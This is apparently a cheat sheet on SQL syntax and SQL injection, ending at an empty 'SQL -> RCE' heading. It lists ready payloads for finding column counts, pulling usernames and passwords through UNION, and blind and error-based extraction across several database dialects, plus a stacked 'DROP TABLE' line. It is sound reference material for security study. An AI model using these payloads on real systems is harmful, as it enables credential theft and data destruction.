&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;sql&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;SELECT&lt;&#x2F;span&gt;&lt;span&gt; id, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;name FROM&lt;&#x2F;span&gt;&lt;span&gt; users &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;WHERE&lt;&#x2F;span&gt;&lt;span&gt; age &lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 18&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; ORDER BY name&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SELECT&lt;&#x2F;strong&gt; - columns to return&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;FROM&lt;&#x2F;strong&gt; - table(s)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;WHERE&lt;&#x2F;strong&gt; - filter rows&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;ORDER BY&lt;&#x2F;strong&gt; - sort (by column name &lt;strong&gt;or by position number&lt;&#x2F;strong&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;LIMIT &#x2F; TOP&lt;&#x2F;strong&gt; - cap rows (dialect differs)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;where-operators&quot;&gt;WHERE &amp;amp; operators&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;=&lt;&#x2F;code&gt; &lt;code&gt;&amp;lt;&amp;gt;&lt;&#x2F;code&gt; &lt;code&gt;LIKE&lt;&#x2F;code&gt; &lt;code&gt;IN (...)&lt;&#x2F;code&gt; &lt;code&gt;BETWEEN&lt;&#x2F;code&gt; &lt;code&gt;AND&lt;&#x2F;code&gt; &lt;code&gt;OR&lt;&#x2F;code&gt; &lt;code&gt;IS NULL&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;join&quot;&gt;JOIN&lt;&#x2F;h2&gt;
&lt;p&gt;Combine rows across tables on a matching key.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;sql&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;SELECT&lt;&#x2F;span&gt;&lt;span&gt; u.name, o.total&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;FROM&lt;&#x2F;span&gt;&lt;span&gt; users u&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;JOIN&lt;&#x2F;span&gt;&lt;span&gt; orders o &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;ON&lt;&#x2F;span&gt;&lt;span&gt; o.user_id&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; u.id;      &lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;-- INNER &#x2F; LEFT &#x2F; RIGHT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;subqueries&quot;&gt;Subqueries&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;sql&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;SELECT name FROM&lt;&#x2F;span&gt;&lt;span&gt; users&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;WHERE&lt;&#x2F;span&gt;&lt;span&gt; id &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;IN&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;SELECT&lt;&#x2F;span&gt;&lt;span&gt; user_id &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;FROM&lt;&#x2F;span&gt;&lt;span&gt; orders &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;WHERE&lt;&#x2F;span&gt;&lt;span&gt; total &lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 100&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;union&quot;&gt;UNION&lt;&#x2F;h2&gt;
&lt;p&gt;Stacks the results of two &lt;code&gt;SELECT&lt;&#x2F;code&gt;s. Requirement: &lt;strong&gt;same number of columns&lt;&#x2F;strong&gt; and compatible types.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;sql&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;SELECT&lt;&#x2F;span&gt;&lt;span&gt; a, b &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;FROM&lt;&#x2F;span&gt;&lt;span&gt; t1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;UNION SELECT&lt;&#x2F;span&gt;&lt;span&gt; c, d &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;FROM&lt;&#x2F;span&gt;&lt;span&gt; t2;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;finding-the-column-count-order-by-n-union-select-null&quot;&gt;Finding the column count (ORDER BY n &#x2F; UNION SELECT NULL)&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;sql&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39; ORDER BY 1-- &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; ORDER BY&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;-- &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39; ORDER BY 3--         -- errors here → the table has 2 columns&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; UNION SELECT NULL&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;--          -- NULL fits any type; no error = right count&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39; UNION SELECT NULL,version()--     -- swap a NULL for data to see which column prints&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;comments&quot;&gt;Comments&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Dialect&lt;&#x2F;th&gt;&lt;th&gt;Comment styles&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;MySQL&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;-- &lt;&#x2F;code&gt; (trailing space!), &lt;code&gt;#&lt;&#x2F;code&gt;, &lt;code&gt;&#x2F;* *&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;PostgreSQL&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;--&lt;&#x2F;code&gt;, &lt;code&gt;&#x2F;* *&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;MSSQL&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;--&lt;&#x2F;code&gt;, &lt;code&gt;&#x2F;* *&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;MySQL special&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&#x2F;*! ... *&#x2F;&lt;&#x2F;code&gt; - an &lt;strong&gt;executable&lt;&#x2F;strong&gt; comment (classic filter bypass)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;string-concatenation-dialect-specific&quot;&gt;String concatenation (dialect-specific)&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;DBMS&lt;&#x2F;th&gt;&lt;th&gt;Concatenation&lt;&#x2F;th&gt;&lt;th&gt;Aggregate (many rows → one string)&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;MySQL&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;CONCAT(a, b)&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;GROUP_CONCAT(col)&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;PostgreSQL&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;a || b&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;string_agg(col, &#x27;,&#x27;)&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;MSSQL&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;a + b&lt;&#x2F;code&gt; or &lt;code&gt;CONCAT(a, b)&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;STRING_AGG(col, &#x27;,&#x27;)&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;blockquote&gt;
&lt;p&gt;Gotcha: in MySQL, &lt;code&gt;\|\|&lt;&#x2F;code&gt; is &lt;strong&gt;logical OR&lt;&#x2F;strong&gt; by default, not concatenation.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;schema-enumeration-information-schema&quot;&gt;Schema enumeration: information_schema&lt;&#x2F;h2&gt;
&lt;p&gt;The standard metadata catalog (MySQL &#x2F; PostgreSQL &#x2F; MSSQL)&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;sql&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;SELECT&lt;&#x2F;span&gt;&lt;span&gt; table_name  &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;FROM&lt;&#x2F;span&gt;&lt;span&gt; information_schema.tables;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;SELECT&lt;&#x2F;span&gt;&lt;span&gt; column_name &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;FROM&lt;&#x2F;span&gt;&lt;span&gt; information_schema.columns&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; WHERE&lt;&#x2F;span&gt;&lt;span&gt; table_name &lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;#39;users&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Handy current-context functions:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;sql&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;version&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span&gt;;  &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;database&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span&gt;;  user&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span&gt;;      &lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;-- MySQL &#x2F; Postgres&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;@@&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;version&lt;&#x2F;span&gt;&lt;span&gt;;  &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;DB_NAME&lt;&#x2F;span&gt;&lt;span&gt;();  SYSTEM_USER;  &lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;-- MSSQL&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Oracle uses &lt;code&gt;all_tables&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;user_tables&lt;&#x2F;code&gt; and &lt;code&gt;dual&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;stacked-queries&quot;&gt;Stacked queries&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;sql&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39;; DROP TABLE logs;-- &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Works in &lt;strong&gt;MSSQL&lt;&#x2F;strong&gt; and &lt;strong&gt;PostgreSQL&lt;&#x2F;strong&gt;; &lt;strong&gt;not&lt;&#x2F;strong&gt; in default MySQL (single-statement APIs). Driver&#x2F;config dependent (e.g. PHP PDO).&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Enables &lt;code&gt;INSERT&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;UPDATE&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;DELETE&lt;&#x2F;code&gt; and MSSQL &lt;code&gt;xp_cmdshell&lt;&#x2F;code&gt; (RCE).&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;dialect-cheat-table&quot;&gt;Dialect cheat table&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Feature&lt;&#x2F;th&gt;&lt;th&gt;MySQL&lt;&#x2F;th&gt;&lt;th&gt;PostgreSQL&lt;&#x2F;th&gt;&lt;th&gt;MSSQL&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;String concat&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;CONCAT&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;GROUP_CONCAT&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;||&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;string_agg&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;+&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;STRING_AGG&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Comments&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;-- &lt;&#x2F;code&gt;, &lt;code&gt;#&lt;&#x2F;code&gt;, &lt;code&gt;&#x2F;* *&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;--&lt;&#x2F;code&gt;, &lt;code&gt;&#x2F;* *&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;--&lt;&#x2F;code&gt;, &lt;code&gt;&#x2F;* *&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Version&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;version()&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;version()&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;@@version&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Current DB&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;database()&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;current_database()&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;DB_NAME()&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Row limit&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;LIMIT n&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;LIMIT n&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;TOP n&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;OFFSET…FETCH&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Stacked queries&lt;&#x2F;td&gt;&lt;td&gt;no (default)&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;detecting-an-injection-point&quot;&gt;Detecting an injection point&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;sql&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39;                       -- breaks the query → error or changed response&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; AND&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;--             -- true  (normal page)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39; AND 1=2--             -- false (different page)  → boolean signal&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; AND&lt;&#x2F;span&gt;&lt;span&gt; SLEEP(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;--        -- response hangs ~5s → injectable (MySQL time signal)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;union-based-extraction-in-band&quot;&gt;Union-based extraction (in-band)&lt;&#x2F;h2&gt;
&lt;p&gt;Once the column count and printed columns are known (from &lt;code&gt;ORDER BY &#x2F; UNION SELECT NULL&lt;&#x2F;code&gt;), read data directly:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;sql&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39; UNION SELECT username, password FROM users-- &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; UNION SELECT&lt;&#x2F;span&gt;&lt;span&gt; table_name, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;NULL FROM&lt;&#x2F;span&gt;&lt;span&gt; information_schema.tables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;-- &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39; UNION SELECT GROUP_CONCAT(username,&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39;,password), NULL FROM users--   -- many rows → one field&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;blind-sqli-no-output-shown&quot;&gt;Blind SQLi (no output shown)&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;sql&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;-- boolean-based: true&#x2F;false questions, watch the page change&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39; AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)=&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39;-- &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;-- time-based: when even true&#x2F;false isn&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;t visible, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;use&lt;&#x2F;span&gt;&lt;span&gt; a &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;delay as&lt;&#x2F;span&gt;&lt;span&gt; the answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39; AND IF(SUBSTRING(...)=&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39;, SLEEP(3), 0)--                       -- MySQL&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;IF&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;WAITFOR DELAY&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;#39;0:0:3&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;--                               -- MSSQL&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39; AND 1=(SELECT 1 FROM pg_sleep(3))--                             -- PostgreSQL&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;error-based-extraction&quot;&gt;Error-based extraction&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;sql&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39; AND extractvalue(1, concat(0x7e, (SELECT version())))--        -- MySQL&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; AND&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;CONVERT&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;, (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;SELECT&lt;&#x2F;span&gt;&lt;span&gt; @@&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;version&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;--                       -- MSSQL&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;sql-rce&quot;&gt;SQL -&amp;gt; RCE&lt;&#x2F;h2&gt;
